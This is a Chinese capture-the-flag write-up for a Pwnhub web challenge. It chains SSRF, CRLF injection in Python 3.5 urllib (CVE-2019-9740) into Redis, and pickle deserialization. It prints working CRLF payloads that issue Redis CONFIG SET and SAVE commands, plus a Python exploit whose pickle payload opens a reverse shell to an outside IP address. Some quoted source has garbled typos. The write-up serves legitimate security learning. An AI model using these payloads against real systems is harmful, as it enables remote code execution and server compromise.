Pwnhub公开赛之WEB题WriteUp【通过】

0x00 前言

前段时间刚好看了p师傅的《Python安全 - 从SSRF到命令执行惨案》,没想到这次pwnhub公开赛就碰到了,思路几乎一模一样,都是通过ssrf结合python urllib的http头注入漏洞,对redis进行利用。

附本人总结的原文思路:
1

0x01 SSRF

随意注册账号后进入系统,检查了一遍只有一个 flag-spider功能,让输入url。猜测是考ssrf。

2

测试了几个地址,发现

  1. 可以连接到远程vps。

    3

  2. 可以使用file:///协议读取本地文件,尝试读取常见flag路径,不出意外是失败的,应该是改名了。

    4

  3. 6379端口开放redis服务

    5

0x02 代码审计

使用file协议file:///proc/self/cmdline读取运行命令,发现是用gunicorn服务器启动了run.py文件。

gunicorn --config=config.py run:app

读取run.py

6

根据源码中import的模块,将user.pysipder.py都读取下来,本地搭个环境进行测试。

首先看flag-spider功能的逻辑,定位到run.py中spider函数:

@ app.route('/spider/', methods = 「'GET', 'POST'1)
def spider():
    cookie = request.cookies.get( 'Cookie')
    try:
        if Cookie.verify(cookie) and redis.exists(cookie):
		    user = redis.get(cookie)
		    user = pickle. loads(user)
    except:
        return abort(500)
        result = ''
    if request.method == "GET":
        result = ''
    elif request.method != “GET" and request.form.get('url') != None:
        try:
            target_url = request.form.get('url')
            new spider = Spider(target url)
            result = new spider.spiderFlag()
        except Excetion as e:
            result e
    return render template("spider.html", result = str(result), user = user)

分析spider函数可知:

  1. 获取cookie,如果cookie验证通过且redis存在,则获取redis中cookie对应的值进行反序列化
  2. 如果method不为get且传入url参数,则调用Spider类对url进行爬取。

再看Spider类:

import urllib 
import urllib.request 
from bs4 import BeautifulSoup 
class Spider: 
    def __init__(self, url): 
        self.target_url = url 
    def __getResponse(self): 
        try: 
            info = urllib.request.urlopen(self.target_url).read().decode("utf-8") 
            return (info, True) 
        except Exception as err: 
            return (err, False) 
    def spiderFlag(self): 
        infos = self.__getResponse() 
        if infos[1]: 
            soup = BeautifulSoup(infos[0]) 
            flag = soup.find(id=='flag') 
            return infos[0] 
            return flag.text 
        return infos[0]

可以看出Spider类使用了urllib库对目标url发起请求,而这个库恰好也是p师傅文章中利用的一个点。

注册逻辑:

@ app.route('/register/', methods = ['GET', 'POST']) 
def register(): 
	if request.method != 'GET': 
		email = request.form.get('email') 
		username = request.form.get('username') 
		password = request.form.get('password') 
		user = User(email, username, password) 
		cookie = Cookie() 
		cookie.create = username 
		cookie = cookie.create
		try: 
			if not redis.exists(cookie): 
				redis.set(cookie, pickle.dumps(user)) 
				resp = make_response(redirect(url_for('home'))) 
				resp.set_cookie("Cookie", cookie) 
				return resp 
			except: abort(500) 

	return render_template("register.html")
  1. 访问页面时先根据cookie在redis中查找key,若有则进行反序列化。
  2. 用户注册时,根据user生成一个hash值,再拼接user作为cookie
  3. User对象反序列化存储到redis中,对应的key就是cookie

本地测试注册后redis中的数据:

7

猜测肯定就是要利用反序列化漏洞了。思路就是将redis中用户对应的的key设置为序列化后的payload,然后重新访问页面触发。

接下来需要解决如何设置redis中的任意key,也就是找到urllib漏洞。

0x03 Python urllib3.5 CRLF注入

通过发送http请求对redis进行利用方式是,在请求包协议行后(也就是第二行)插入redis命令:

GET / HTTP/1.1
config set dir /tmp
Host: xx.xx.xx.xx:6379
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close

GET /? HTTP/1.1
config set dbfilename test
Host: xx.xx.xx.xx:6379
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close

GET /? HTTP/1.1
save
Host: xx.xx.xx.xx:6379
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close

那么如果控制了http请求头,就可以在redis中执行set命令,将key设置为paylaod。

从服务器发送到vps的请求头看,目标服务器用的是urllib3.5版本。

在本地下载python3.5.0,测试如下:

  • CVE-2016-5699(失败): http://[vps-ip]%0d%0aX-injected:%20header:8888
  • CVE-2019-9740(失败): http://[vps-ip]%0d%0a%0d%0aheaders:8888
  • CVE-2019-9947(失败): http://[vps-ip]:8888?%0d%0apayload%0d%0apadding
  • CVE-2019-9740(成功): http://[vps-ip]:8888?%20HTTP/1.1%0d%0aCONFIG SET dir /tmp%0d%0aTEST: 123:8080/test/?test=a

8

payload:

http://127.0.0.1:6378?%20HTTP/1.1%0d%0aCONFIG SET dir /tmp%0d%0aTEST: 123:8080/test/?test=a
http://127.0.0.1:6378?%20HTTP/1.1%0d%0aCONFIG SET dbfilename test12345%0d%0aTEST: 123:8080/test/?test=a
http://127.0.0.1:6378?%20HTTP/1.1%0d%0aSAVE%0d%0aTEST: 123:8080/test/?test=a

本地在burp中测试了多次(\r\n要url编码),返回报错:

9

但是服务器上成功创建了文件:

10

对比赛服务器进行测试,写入到/tmp/qweqwe文件,再用file:///tmp/qweqwe读取。

11

utf-8 code can't decode byte xxx,说明文件写成功。

0x04 Redis利用

接下来尝试修改redis中的key。

本地测试payload:

#!/usr/bin/env python
import pickle
from flask import Flask, session
from redis import StrictRedis
from user import *
import os
import requests

app = Flask(__name__)
redis = StrictRedis(host = '127.0.0.1', port = 6378, db = 0)


class exp(object):
    def __reduce__(self):
        s = """/usr/local/python3/bin/python3.5 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("134.175.2.34",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
        return (os.system, (s,))

def localtest():
    key = 'admin1ac8dc1444250362004b743fa951951b'
    e = pickle.dumps(exp()).replace("\n",'\\n').replace("\"","\\\"")
    
    payload = "http://127.0.0.1:6378?%20HTTP/1.1\r\nset \"admin1ac8dc1444250362004b743fa951951b\" \"" + e + "\"\r\nTEST: 123:8080/test/?test=a"
    print payload
    data = {'url': payload}
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    r = requests.post("http://127.0.0.1:5000/spider/", data=data, headers=headers)
    print r.content

localtest()

12

redis中反弹shell写入成功:

13

触发反序列化

curl -X POST 'http://127.0.0.1:5000/spider/'

成功反弹shell:

15

远程测试发现建立了连接,但是并没有shell。尝试备用地址才反弹成功,不知道什么原因= =。

14

最终在根目录下发现flag文件。

0x05 参考链接

  • 通过
  • 未通过

0 投票者